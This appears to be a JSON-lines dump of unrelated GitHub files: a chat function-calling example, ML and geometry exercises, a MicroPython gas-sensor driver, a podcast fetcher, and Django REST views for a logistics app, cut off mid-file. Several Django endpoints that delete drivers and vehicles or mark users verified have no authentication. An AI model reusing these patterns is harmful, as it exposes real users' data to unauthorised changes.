chunk.choices[0].finish_reason == \"stop\":\n return\n\n elif chunk.choices[0].finish_reason == \"function_call\":\n print(\"\\n\")\n\n function_call = chunk.choices[0].delta.function_call\n logger.info(f\"Function Call Response: {function_call.model_dump()}\")\n\n function_to_call = available_functions[function_call.name]\n function_args = json.loads(function_call.arguments)\n tool_response = function_to_call(\n location=function_args.get(\"location\"),\n unit=function_args.get(\"unit\"),\n )\n logger.info(f\"Tool Call Response: {tool_response}\")\n\n params[\"messages\"].append(\n {\n \"role\": \"assistant\",\n \"content\": output,\n \"function_call\": function_call,\n }\n )\n params[\"messages\"].append(\n {\n \"role\": \"function\",\n \"name\": function_call.name,\n \"content\": tool_response, # 调用函数返回结果\n }\n )\n\n break\n\n response = client.chat.completions.create(**params)\n\n\nif __name__ == \"__main__\":\n query = \"你是谁\"\n run_conversation(query, stream=False)\n\n logger.info(\"\\n=========== next conversation ===========\")\n\n query = \"波士顿天气如何?\"\n run_conversation(query, functions=functions, stream=True)\n","repo_name":"macula-projects/macula-chat","sub_path":"examples/qwen-7b-chat/get_weather.py","file_name":"get_weather.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74664832784","text":"#!/usr/bin/python\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom sklearn.datasets import make_blobs\nfrom sklearn.cluster import KMeans\n\ndef main():\n sample_volume = int(input(\"Enter the desired size of the sample for blobbery: \"))\n sample_feats = int(input(\"Enter the desired number of features: \"))\n sample_centers = int(input(\"Enter the desired number of centres: \"))\n sample_std = float(input(\"Enter the std of the clusters: \"))\n\n data = make_blobs(n_samples = sample_volume, n_features = sample_feats, centers = sample_centers, cluster_std = sample_std, random_state = 101) \n\n plt.scatter(data[0][:,0], data[0][:,1], c = data[1])\n\n kmeans_train(data,sample_centers)\n\n plt.show()\n\ndef kmeans_train(data,clusters):\n kmeans = KMeans(n_clusters=clusters)\n kmeans.fit(data[0])\n\n print(kmeans.cluster_centers_)\n print(kmeans.labels_)\n\n f, (ax1,ax2) = plt.subplots(1,2,sharey=True,figsize=(10,6))\n ax1.set_title('K Means')\n ax1.scatter(data[0][:,0],data[0][:,1],c=kmeans.labels_)\n\n ax2.set_title('Original')\n ax2.scatter(data[0][:,0],data[0][:,1],c=data[1])\n\nif __name__ == \"__main__\": main()\n","repo_name":"m-squared96/Snippets-ML","sub_path":"Portilla/K Means Clustering/kmeans_basics.py","file_name":"kmeans_basics.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34077870671","text":"import time\nfrom math import exp\nfrom machine import I2C,Pin\nfrom micropython import const\n\n__version__ = \"1.0\"\n__repo__ = \"https://github.com/adafruit/Adafruit_CircuitPython_SGP30.git\"\n\n\n_SGP30_DEFAULT_I2C_ADDR = const(0x58)\n_SGP30_FEATURESETS = (0x0020, 0x0022)\n\n_SGP30_CRC8_POLYNOMIAL = const(0x31)\n_SGP30_CRC8_INIT = const(0xFF)\n_SGP30_WORD_LEN = const(2)\n\n\nclass SGP30:\n \"\"\"\n A driver for the SGP30 gas sensor.\n\n :param I2C i2c: The I2C bus the SGP30 is connected to.\n :param int address: The I2C address of the device. Defaults to :const:`0x58`\n\n\n **Quickstart: Importing and using the SGP30 temperature sensor**\n\n Here is one way of importing the `Adafruit_SGP30` class so you\n can use it with the name ``sgp30``.\n First you will need to import the libraries to use the sensor\n\n .. code-block:: python\n\n from machine import I2C,Pin\n import sgp30\n\n Once this is done you can define your `I2C` object and define your sensor object\n\n .. code-block:: python\n\n scl = Pin(22) # on the wemos d1 mini (esp32) scl is connected to GPIO 22\n sda = Pin(21) # on the wemos d1 mini (esp32) sda is connected to GPIO 21\n i2c_client_address = 0x58\n sgp30(scl,sda,i2c_client_address)\n you can also use the defaults: sgp30 = sgp30.SGP30()\n\n \n\n Now you have access to the Carbon Dioxide Equivalent baseline using the\n :attr:`baseline_eCO2` attribute and the Total Volatile Organic Compound\n baseline using the :attr:`baseline_TVOC`\n\n .. code-block:: python\n\n eCO2 = sgp30.baseline_eCO2\n TVOC = sgp30.baseline_TVOC\n\n\n \"\"\"\n\n def __init__(self, scl = Pin(22), sda = Pin(21), address: int = _SGP30_DEFAULT_I2C_ADDR) -> None:\n \"\"\"Initialize the sensor, get the serial # and verify that we found a proper SGP30\"\"\"\n self._device = I2C(1,scl=scl, sda=sda)\n self._addr = address\n # scan the I2C bus and make sure we find an SGP 30\n i2c_clients = self._device.scan()\n # print(\"i2c clients: \",i2c_clients)\n if not self._addr in i2c_clients:\n raise RuntimeError(\"SGP30 Not detected at address 0x{:02x\".format(address))\n # get unique serial, its 48 bits so we store in an array\n self.serial = self._i2c_read_words_from_cmd([0x36, 0x82], 0.01, 3)\n # get featureset\n featureset = self._i2c_read_words_from_cmd([0x20, 0x2F], 0.01, 1)\n if featureset[0] not in _SGP30_FEATURESETS:\n raise RuntimeError(\"SGP30 Not detected\")\n self.iaq_init()\n\n @property\n # pylint: disable=invalid-name\n def TVOC(self) -> int:\n \"\"\"Total Volatile Organic Compound in parts per billion.\"\"\"\n return self.iaq_measure()[1]\n\n @property\n # pylint: disable=invalid-name\n def baseline_TVOC(self) -> int:\n \"\"\"Total Volatile Organic Compound baseline value\"\"\"\n return self.get_iaq_baseline()[1]\n\n @property\n # pylint: disable=invalid-name\n def eCO2(self) -> int:\n \"\"\"Carbon Dioxide Equivalent in parts per million\"\"\"\n return self.iaq_measure()[0]\n\n @property\n # pylint: disable=invalid-name\n def baseline_eCO2(self) -> int:\n \"\"\"Carbon Dioxide Equivalent baseline value\"\"\"\n return self.get_iaq_baseline()[0]\n\n @property\n # pylint: disable=invalid-name\n def Ethanol(self) -> int:\n \"\"\"Ethanol Raw Signal in ticks\"\"\"\n return self.raw_measure()[1]\n\n @property\n # pylint: disable=invalid-name\n def H2(self) -> int:\n \"\"\"H2 Raw Signal in ticks\"\"\"\n return self.raw_measure()[0]\n\n def iaq_init(self) -> List[int]:\n \"\"\"Initialize the IAQ algorithm\"\"\"\n # name, command, signals, delay\n self._run_profile((\"iaq_init\", [0x20, 0x03], 0, 0.01))\n\n def iaq_measure(self) -> List[int]:\n \"\"\"Measure the eCO2 and TVOC\"\"\"\n # name, command, signals, delay\n return self._run_profile((\"iaq_measure\", [0x20, 0x08], 2, 0.05))\n\n def raw_measure(self) -> List[int]:\n \"\"\"Measure H2 and Ethanol (Raw Signals)\"\"\"\n # name, command, signals, delay\n return self._run_profile((\"raw_measure\", [0x20, 0x50], 2, 0.025))\n\n def get_iaq_baseline(self) -> List[int]:\n \"\"\"Retreive the IAQ algorithm baseline for eCO2 and TVOC\"\"\"\n # name, command, signals, delay\n return self._run_profile((\"iaq_get_baseline\", [0x20, 0x15], 2, 0.01))\n\n def set_iaq_baseline( # pylint: disable=invalid-name\n self, eCO2: int, TVOC: int\n ) -> None:\n \"\"\"Set the previously recorded IAQ algorithm baseline for eCO2 and TVOC\"\"\"\n if eCO2 == 0 and TVOC == 0:\n raise RuntimeError(\"Invalid baseline\")\n buffer = []\n for value in [TVOC, eCO2]:\n arr = [value >> 8, value & 0xFF]\n arr.append(self._generate_crc(arr))\n buffer += arr\n self._run_profile((\"iaq_set_baseline\", [0x20, 0x1E] + buffer, 0, 0.01))\n\n def set_iaq_humidity(self, gramsPM3: float) -> None: # pylint: disable=invalid-name\n \"\"\"Set the humidity in g/m3 for eCO2 and TVOC compensation algorithm\"\"\"\n tmp = int(gramsPM3 * 256)\n buffer = []\n for value in [tmp]:\n arr = [value >> 8, value & 0xFF]\n arr.append(self._generate_crc(arr))\n buffer += arr\n self._run_profile((\"iaq_set_humidity\", [0x20, 0x61] + buffer, 0, 0.01))\n\n def set_iaq_relative_humidity(self, celsius: float, relative_humidity: float):\n \"\"\"\n Set the humidity in g/m3 for eCo2 and TVOC compensation algorithm.\n The absolute humidity is calculated from the temperature (Celsius)\n and relative humidity (as a percentage).\n \"\"\"\n numerator = ((relative_humidity / 100) * 6.112) * exp(\n (17.62 * celsius) / (243.12 + celsius)\n )\n denominator = 273.15 + celsius\n\n humidity_grams_pm3 = 216.7 * (numerator / denominator)\n self.set_iaq_humidity(humidity_grams_pm3)\n\n # Low level command functions\n\n def _run_profile(self, profile: Tuple[str, List[int], int, float]) -> List[int]:\n \"\"\"Run an SGP 'profile' which is a named command set\"\"\"\n # pylint: disable=unused-variable\n name, command, signals, delay = profile\n # pylint: enable=unused-variable\n\n # print(\"\\trunning profile: %s, command %s, %d, delay %0.02f\" %\n # (name, [\"0x%02x\" % i for i in command], signals, delay))\n return self._i2c_read_words_from_cmd(command, delay, signals)\n\n def _i2c_read_words_from_cmd(\n self, command: List[int], delay: float, reply_size: int\n ) -> List[int]:\n \"\"\"Run an SGP command query, get a reply and CRC results if necessary\"\"\"\n\n self._device.writeto(self._addr,bytes(command))\n time.sleep(delay)\n if not reply_size:\n return None\n crc_result = bytearray(reply_size * (_SGP30_WORD_LEN + 1))\n self._device.readfrom_into(self._addr, crc_result)\n # print(\"\\tRaw Read: \", crc_result)\n result = []\n for i in range(reply_size):\n word = [crc_result[3 * i], crc_result[3 * i + 1]]\n crc = crc_result[3 * i + 2]\n if self._generate_crc(word) != crc:\n raise RuntimeError(\"CRC Error\")\n result.append(word[0] << 8 | word[1])\n # print(\"\\tOK Data: \", [hex(i) for i in result])\n return result\n\n # pylint: disable=no-self-use\n def _generate_crc(self, data: bytearray) -> int:\n \"\"\"8-bit CRC algorithm for checking data\"\"\"\n crc = _SGP30_CRC8_INIT\n # calculates 8-Bit checksum with given polynomial\n for byte in data:\n crc ^= byte\n for _ in range(8):\n if crc & 0x80:\n crc = (crc << 1) ^ _SGP30_CRC8_POLYNOMIAL\n else:\n crc <<= 1\n return crc & 0xFF\n","repo_name":"uraich/IoT4AQ","sub_path":"demos/sgp30/sgp30.py","file_name":"sgp30.py","file_ext":"py","file_size_in_byte":7965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71524918226","text":"import sys\n# sys.path.append(\"..\")\n# from talk.actionTrigger import trigger\nimport datetime, requests, random\nimport feedparser\n\nplaylist = {\n '余生皆假期': 'https://hayami.typlog.io/feed/audio.xml',\n '机核网': 'http://feed.tangsuanradio.com/gadio.xml',\n '一席': 'http://www.ximalaya.com/album/242812.xml',\n '半瓶醋': 'https://getpodcast.xyz/data/163/1082007.xml',\n '随机波动': 'https://feeds.fireside.fm/stovol/rss'\n}\n\n# @trigger.route(keywords=['broadcasting'])\ndef play_it(action):\n try:\n # entities = list(sorted(action['entities'], key=lambda x:x['confidence'], reverse=True))\n # query = entities[0]['value']\n query = '随机波动'\n if query in playlist:\n rss_url = playlist[query]\n response = requests.get(rss_url)\n response.raise_for_status()\n feed = feedparser.parse(response.text)\n latest = feed.entries[0]\n title = latest['title']\n link = list(filter(lambda x:x['type'] == 'audio/mpeg', latest['links']))[0]\n print(title, link['href'])\n else:\n return '抱歉,没有为你找到相关的节目'\n \n except Exception as ex:\n pass\n\n\nif __name__ == '__main__':\n play_it({})","repo_name":"Regularly-Archive/2023","sub_path":"Jarvis/plugins/broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"27606562020","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/12/29 17:20\n# @Author : fovegage\n# @Email : fovegage@gmail.com\n# @File : next_stu.py\n# @Software: PyCharm\n\n# next\nit = iter([1, 2, 3, 4, 5])\n# iterator 不\n#可len()\nwhile True:\n try:\n x = next(it)\n print(x, end=',')\n except StopIteration:\n break\n# default\nfor i in range(6):\n print(next(it,'juge'))","repo_name":"fovegage/learn-python","sub_path":"Pytho内建函数/next_stu.py","file_name":"next_stu.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"30666262025","text":"from decimal import Decimal, getcontext\nfrom vector import Vector\n\n# 设置Decimal精度\ngetcontext().prec = 30\n\n# Plane类\nclass Plane(object):\n\n # 初始化函数, normval_vector为此平面的法向量\n def __init__(self, normal_vector=None, constant_term=None):\n # error msg\n self.NORMAL_VECTOR_TYPE_ERROR_MSG = 'Normal Vector must be object of Vector'\n self.NO_NONZERO_ELTS_FOUND_MSG = 'No nonzero elements found'\n\n # 获取Vector维度\n # self.dimension = len(normal_vector)\n self.dimension = 3\n\n # 检查normal_vector类型\n type_normal_vector = type(normal_vector)\n if (not (type_normal_vector is Vector)) and (not (normal_vector == None)):\n raise Exception(self.NORMAL_VECTOR_TYPE_ERROR_MSG)\n\n # 如果Vector.coordinates为空\n if not normal_vector:\n all_zeros = ['0'] * self.dimension\n normal_vector = Vector(all_zeros)\n \n # Plan法向量赋值\n self.normal_vector = normal_vector\n # self.coordinates = self.normal_vector.coordinates\n\n # k值检查\n if not constant_term:\n constant_term = Decimal('0')\n\n # k值赋值\n self.constant_term = Decimal(constant_term)\n\n # round精度设置\n self.num_decimal_places = 3\n\n # 计算, 设置基点\n self.set_basepoint()\n\n # 设置基点, 找坐标轴交点\n def set_basepoint(self):\n # round四舍五入精度配置读取\n num_decimal_places = self.num_decimal_places\n\n try:\n n = self.normal_vector.coordinates\n k = self.constant_term\n basepoint_coords = ['0'] * self.dimension\n initial_index = self.first_nonzero_index()\n initial_coefficient = n[initial_index]\n basepoint_coords[initial_index] = k / initial_coefficient\n basepoint_coords[initial_index] = round(basepoint_coords[initial_index], num_decimal_places)\n self.basepoint = Vector(basepoint_coords)\n\n except Exception as e:\n if str(e) == self.NO_NONZERO_ELTS_FOUND_MSG:\n self.basepoint = None\n\n else:\n raise e\n\n # 格式化输出\n def __str__(self):\n # round四舍五入精度配置读取\n num_decimal_places = self.num_decimal_places\n\n # 空格, 符号处理\n def write_coefficient(coefficient, is_initial_term=False):\n coefficient = round(coefficient, num_decimal_places)\n if coefficient % 1 == 0:\n coefficient = int(coefficient)\n\n output = ''\n if coefficient < 0:\n output += '-'\n\n if coefficient > 0 and not is_initial_term:\n output += '+'\n\n if not is_initial_term:\n output += ' '\n\n if abs(coefficient) != 1:\n output += '{}'.format(abs(coefficient))\n\n return(output)\n\n # 格式化输出字符串\n n = self.normal_vector.coordinates\n try:\n initial_index = self.first_nonzero_index()\n terms = [ write_coefficient(n[i], is_initial_term=( i==initial_index )) + 'x_{}'.format(i+1)\n for i in range(self.dimension) if round( n[i], num_decimal_places ) != 0 ]\n output = ' '.join(terms)\n\n except Exception as e:\n if str(e) == self.NO_NONZERO_ELTS_FOUND_MSG:\n output = '0'\n\n else:\n raise e\n\n # 等式右边(k值)格式化处理\n constant = round(self.constant_term, num_decimal_places)\n if constant % 1 == 0:\n constant = int(constant)\n\n output += ' = {}'.format(constant)\n return(output)\n\n # 查找第一个不为零的index\n def first_nonzero_index(self):\n for k, item in enumerate(self.normal_vector.coordinates):\n if not self.is_zero(item):\n return(k)\n\n raise Exception(self.NO_NONZERO_ELTS_FOUND_MSG)\n\n # 判断是否为零\n def is_zero(self, value, eps = 1e-10):\n return(abs(value) < eps)\n\n # 判断是否平行\n def is_parallel(self, plane):\n if (not self == plane) and (self.normal_vector.is_parallel(plane.normal_vector)):\n return(True)\n\n else:\n return(False)\n\n # 判断是否相等\n def __eq__(self, plane):\n # Check zero Vector\n if self.normal_vector.is_zero():\n if not plane.normal_vector.is_zero():\n return(False)\n\n else:\n return(self.is_zero(plane.constant_term - self.constant_term))\n\n elif plane.normal_vector.is_zero():\n return(False)\n\n # Get Vector v from plane.basepoint - self.basepoint\n v = plane.basepoint - self.basepoint\n if v.is_orthogonal(self.normal_vector) and v.is_orthogonal(plane.normal_vector):\n return(True)\n\n else:\n return(False)\n\nif __name__ == '__main__':\n A = -0.412\n B = 3.806\n C = 0.728\n k1 = -3.46\n D = 1.03\n E = -9.515\n F = -1.82\n k2 = 8.65\n v1 = Vector([A, B, C])\n v2 = Vector([D, E, F])\n plane1 = Plane(v1, k1)\n plane2 = Plane(v2, k2)\n print(plane1)\n print(plane2)\n print(plane1 == plane2)\n print(plane1.is_parallel(plane2))\n print('----------------------------')\n\n A = 2.611\n B = 5.528\n C = 0.283\n k1 = 4.6\n D = 7.715\n E = 8.306\n F = 5.342\n k2 = 3.76\n v1 = Vector([A, B, C])\n v2 = Vector([D, E, F])\n plane1 = Plane(v1, k1)\n plane2 = Plane(v2, k2)\n print(plane1)\n print(plane2)\n print(plane1 == plane2)\n print(plane1.is_parallel(plane2))\n print('----------------------------')\n\n A = -7.926\n B = 8.625\n C = -7.212\n k1 = -7.952\n D = -2.642\n E = 2.875\n F = -2.404\n k2 = -2.443\n v1 = Vector([A, B, C])\n v2 = Vector([D, E, F])\n plane1 = Plane(v1, k1)\n plane2 = Plane(v2, k2)\n print(plane1)\n print(plane2)\n print(plane1 == plane2)\n print(plane1.is_parallel(plane2))\n","repo_name":"kylechenoO/math","sub_path":"plane.py","file_name":"plane.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21993158792","text":"from TDA_ArbolBin import insertar_nodo, inorden, postorden, busqueda_proximidad, dos_arboles, cantidad_nodos\r\n\r\ndef inorden_personajes(raiz):\r\n if raiz is not None:\r\n inorden_personajes(raiz.izq)\r\n if raiz.nrr is True:\r\n print(raiz.info,'- Surperheroe')\r\n else:\r\n print(raiz.info,'- Villano')\r\n inorden_personajes(raiz.der)\r\n\r\ndef inorden_villanos(raiz):\r\n if raiz is not None:\r\n inorden_villanos(raiz.izq)\r\n if raiz.nrr is False:\r\n print(raiz.info)\r\n inorden_villanos(raiz.der)\r\n\r\ndef superheroes_c(raiz):\r\n if raiz is not None:\r\n superheroes_c(raiz.izq)\r\n if raiz.nrr is True and raiz.info[0] == 'C':\r\n print(raiz.info)\r\n superheroes_c(raiz.der)\r\n\r\ndef superheroes_total(raiz,total):\r\n if raiz is not None:\r\n total = superheroes_total(raiz.izq, total)\r\n if raiz.nrr is True:\r\n total += 1\r\n total = superheroes_total(raiz.der, total)\r\n return total\r\n\r\ndef postorden_superheroes(raiz):\r\n if raiz is not None:\r\n postorden_superheroes(raiz.der)\r\n if raiz.nrr == True:\r\n print(raiz.info)\r\n postorden_superheroes(raiz.izq)\r\n\r\ndef generar_bosque(arbol, arbol_superheroes, arbol_villanos):\r\n if arbol is not None:\r\n arbol_superheroes, arbol_villanos = generar_bosque(arbol.izq, arbol_superheroes, arbol_villanos)\r\n if arbol.nrr is True:\r\n arbol_superheroes = insertar_nodo(arbol_superheroes, arbol.info)\r\n else:\r\n arbol_villanos = insertar_nodo(arbol_villanos, arbol.info)\r\n arbol_superheroes, arbol_villanos = generar_bosque(arbol.der, arbol_superheroes, arbol_villanos)\r\n return arbol_superheroes, arbol_villanos\r\n\r\n\r\narbol = None\r\narbol_superheroes = None\r\narbol_villanos = None\r\n\r\narbol = insertar_nodo(arbol, 'Batman', True)\r\narbol = insertar_nodo(arbol, 'Joker', False)\r\narbol = insertar_nodo(arbol, 'Iron Man', True)\r\narbol = insertar_nodo(arbol, 'Lex Luthor', False)\r\narbol = insertar_nodo(arbol, 'Dr Strage', True)\r\narbol = insertar_nodo(arbol, 'Magneto', False)\r\narbol = insertar_nodo(arbol, 'Capitán America', True)\r\narbol = insertar_nodo(arbol, 'Thanos', False)\r\n\r\ninorden_personajes(arbol)\r\nprint()\r\n\r\n#b\r\nprint('Lista de villanos: ')\r\ninorden_villanos(arbol)\r\nprint()\r\n\r\n#c\r\nprint('Lista de superheroes que empiezan con \"C\": ')\r\nsuperheroes_c(arbol)\r\nprint()\r\n\r\n#d\r\nprint('Total de superheroes: ', superheroes_total(arbol,0))\r\nprint()\r\n\r\n#e\r\npos = busqueda_proximidad(arbol, 'Dr Str')\r\nif pos is not None:\r\n print('Se encontro: ', pos.info)\r\n\r\n#f\r\nprint('Superheroes ordenados de manera descendente: ')\r\npostorden_superheroes(arbol)\r\nprint()\r\n\r\n#g\r\narbol_superheroes, arbol_villanos = generar_bosque(arbol, arbol_superheroes, arbol_villanos)\r\nprint('Arbol superheroes: ')\r\ninorden(arbol_superheroes)\r\nprint('\\nArbol villanos')\r\ninorden(arbol_villanos)\r\n\r\nprint('\\nCantidad de nodos superherores: ', cantidad_nodos(arbol_superheroes,0))\r\nprint('Cantidad de nodos villanos: ', cantidad_nodos(arbol_villanos,0))\r\n\r\nprint(\"Barrido del arbol de villanos:\")\r\ninorden(arbol_villanos)\r\nprint()\r\nprint(\"Barrido del arbol de heroes\")\r\ninorden(arbol_superheroes)","repo_name":"MateoBarbera/Ejercicios_resueltos","sub_path":"TP 5/ejercicio_5.py","file_name":"ejercicio_5.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5249735160","text":"# Create your views he\nimport json\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom .serializers import *\nfrom rest_framework import status\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom .models import BasicUser\nfrom rest_framework.exceptions import AuthenticationFailed\nfrom django.contrib.auth.models import update_last_login\n\n\n# Create your views here.\nclass LoginApi(APIView):\n def post(self, request, *args, **kwargs):\n email = request.data['email']\n password = request.data['password']\n user = BasicUser.objects.filter(email=email).first()\n if user is None:\n raise AuthenticationFailed('User Not Found')\n if not user.check_password(password):\n raise AuthenticationFailed('Incorrect Password')\n\n if user.role == \"Customer\":\n data = BasicUserSerializer(user)\n elif user.role == \"Company\":\n if not user.is_Verified:\n return Response(\"Your Company is Not Verified\", status=status.HTTP_404_NOT_FOUND)\n data = CompanyUserSerializer(user)\n else:\n data = GetAllDriverSerializer(user)\n # user_logged_in.send(sender=user.__class__, request=request, user=user) if we do this it send signal every time\n # from django.contrib.auth.models import update_last_login check using this\n update_last_login(None, user)\n refresh = RefreshToken.for_user(user)\n responce_data = {\n 'access_token': str(refresh.access_token),\n 'user': data.data\n }\n return Response(responce_data, status=status.HTTP_200_OK)\n\n\nclass RegisterApi(APIView):\n serializers_class = BasicUserSerializer\n\n def post(self, request):\n serializers = self.serializers_class(data=request.data)\n if serializers.is_valid():\n user = serializers.save()\n refresh = RefreshToken.for_user(user)\n data = serializers.data\n responce_data = {\n 'access_token': str(refresh.access_token),\n 'user': data\n }\n\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass ChangePassword(APIView):\n permission_classes = [IsAuthenticated, ]\n\n def post(self, request, id):\n object = BasicUser.objects.get(id=id)\n print(request.data)\n serializers = ChangePasswordSerializer(instance=object, data=request.data, context={'request': request})\n if serializers.is_valid():\n serializers.save()\n responce_data = {\n \"Sucess\": \"Your Password has Been Changed\"\n }\n\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass VerifyOtp(APIView):\n\n def post(self, request):\n data = request.data\n user_obj = BasicUser.objects.get(email=data['phone'])\n if int(user_obj.otp) == int(data['otp']):\n user_obj.is_Verified = True\n user_obj.save()\n return Response({\"Status\": 200, \"message\": \"Your Number has Been Verified You can Login Now\"},\n status=status.HTTP_200_OK)\n else:\n return Response({\"Status\": 404, \"message\": \"Your OTP is Wrong\"},\n status=status.HTTP_404_NOT_FOUND)\n return Response({\"Status\": 422, \"message\": \"No User with This Number Detects\"},\n status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass Verify_User(APIView):\n\n def post(self, request, id):\n user_obj = BasicUser.objects.get(id=id)\n user_obj.is_Verified = True\n user_obj.save()\n return Response(\"User Verified\", status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass CompanyApi(APIView):\n serializers_class = CompanyUserSerializer\n\n # permission_classes = [IsAuthenticated,]\n def post(self, request):\n\n data = {'company': {}}\n for key, val in request.data.items():\n if key == 'name' or key == 'owner_Name' or key == 'cnic' or key == 'website' or key == 'Ntn_number' or key == 'Ntn_number' or key == 'profile' or key == 'Ntn_picture' or key == 'Registration_Certificate':\n data['company'][key] = val\n elif key == 'coverage':\n data[\"company\"][key] = json.loads(val)\n else:\n data[key] = val\n\n serializers = self.serializers_class(data=data)\n if serializers.is_valid():\n user = serializers.save()\n user.save()\n refresh = RefreshToken.for_user(user)\n data = serializers.data\n responce_data = {\n 'access_token': str(refresh.access_token),\n 'user': data\n }\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass AddDriverApi(APIView):\n serializers_class = DriverUserSerializer\n permission_classes = [IsAuthenticated, ]\n\n def post(self, request):\n data = {\"driver\": {}}\n print(request.data)\n for key, val in request.data.items():\n if key == 'profile' or key == 'cnic_front' or key == 'cnic_back' or key == 'License':\n data[\"driver\"][key] = val\n elif key == 'vehicle_driver':\n data[\"driver\"][key] = json.loads(val)\n else:\n if key == 'number':\n data[key] = int(val)\n else:\n data[key] = val\n serializers = self.serializers_class(data=data)\n if serializers.is_valid():\n\n user = serializers.save(company=request.user)\n user.save()\n refresh = RefreshToken.for_user(user)\n data1 = serializers.data\n\n responce_data = {\n 'access_token': str(refresh.access_token),\n 'user': data1\n }\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n def get(self, request):\n\n drivers = []\n data = BasicUser.objects.filter(role=\"Driver\")\n for i in data:\n if i.driver.company_id == request.user.id:\n drivers.append(i)\n serializer = GetAllDriverSerializer(drivers, many=True)\n serialized_data = serializer.data\n return Response(serialized_data)\n\n\nclass DeleteDriver(APIView):\n # permission_classes = [IsAuthenticated, ]\n\n def delete(self, request, key_id):\n try:\n driver = BasicUser.objects.get(id=key_id, role=\"Driver\")\n except Exception as e:\n return Response(\"User Does Not Exits\", status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n driver.delete()\n return Response(\"Your Driver Has Been Deleted\", status=status.HTTP_200_OK)\n\n\nclass DeleteVehicle(APIView):\n # permission_classes = [IsAuthenticated, ]\n\n def delete(self, request, key_id):\n try:\n vehicle = Company_Vehicles.objects.get(id=key_id)\n except Exception as e:\n return Response(\"Vehicle Does Not Exits\", status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n vehicle.delete()\n return Response(\"Your Vehicle Has Been Deleted\", status=status.HTTP_200_OK)\n\n\n# You are right, even after you remove the JWT token it remains valid token for a period of time until it expires.\n# JWT is stateless. So if you want to handle logout and to invalidate token you must need to keep a database or\n# in memory cache to store the invalid(blacklisted) token.\n\n\n# class LogOut_User(APIView):\n# permission_classes = [IsAuthenticated, ]\n#\n# def get(self, request, *args, **kwargs):\n# print(request.auth)\n# return Response(\"User SuccessFully Logout\", status=status.HTTP_200_OK)\n\n\nclass AddCompanyVehicle(APIView):\n serializers_class = AddCompanyVehicle_Serializer\n permission_classes = [IsAuthenticated, ]\n\n def post(self, request):\n data = request.data\n serializers = self.serializers_class(data=data)\n if serializers.is_valid():\n user = serializers.save(company=request.user)\n user.save()\n data = serializers.data\n\n responce_data = {\n 'Sucess': \"Vehcile Added\",\n 'user': data\n }\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n def get(self, request):\n data = request.user.All_Vehicles.all()\n serializer = ShowCompanyVehicles(data, many=True)\n serialized_data = serializer.data\n return Response(serialized_data)\n\n\nclass VehiclesRate(APIView):\n serializers_class = VehicleRateSerializer\n permission_classes = [IsAuthenticated, ]\n\n def post(self, request):\n data = request.data\n serializers = self.serializers_class(data=data)\n if serializers.is_valid():\n user = serializers.save(user=request.user)\n user.save()\n data = serializers.data\n responce_data = {\n 'Sucess': \"Done\",\n 'user': data\n }\n return Response(responce_data, status=status.HTTP_200_OK)\n else:\n return Response(serializers.errors, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n def get(self, request):\n print(request.user)\n data = request.user.Vehicles_rate.all()\n serializer = GetVehicleRateSerializer(data, many=True)\n serialized_data = serializer.data\n return Response(serialized_data)\n\n def delete(self, request):\n id = request.data['vehicles']\n obj = VehicelRate.objects.filter(user=request.user)\n try:\n for i in obj:\n if i.vehicles.unique_id == id:\n i.delete()\n return Response(\"Vehicle Rate Deleted\")\n except Exception as e:\n return Response(\"Id Not Found\", status=status.HTTP_404_NOT_FOUND)\n\n def put(self, request):\n\n obj = VehicelRate.objects.filter(user=request.user)\n for i in obj:\n if i.vehicles.unique_id == request.data['vehicles']:\n i.rate = request.data['rate']\n i.save()\n return Response(\"Rate Change\")\n\n\n# Can be Done in Another way by Checking the time on the Shipment that assign to driver if the date\n# is same that use is selecting than we can warn\n\n# Check Here that Driver is By using Company Id and checking that any driver of\n# vehicle type that has been selected has shipment of this\n# this date which is incomplete\n# if shipment is is completed that means driver is free\n# return Response({\"Status\": \"Driver is Free\", \"Code\": 1}, status=status.HTTP_200_OK)\n\n\nclass GetDriverDetails(APIView):\n # permission_classes = [IsAuthenticated, ]\n\n def get(self, request, id):\n try:\n driver = BasicUser.objects.get(id=id)\n serializers = GetAllDriverSerializer(driver)\n serializers_data = serializers.data\n return Response(serializers_data, status=status.HTTP_200_OK)\n except Exception as e:\n return Response({\"message\": \"Driver Not Found\"}, status=status.HTTP_200_OK)\n\n\nclass ShowCompanyVehicleDetails(APIView):\n # permission_classes 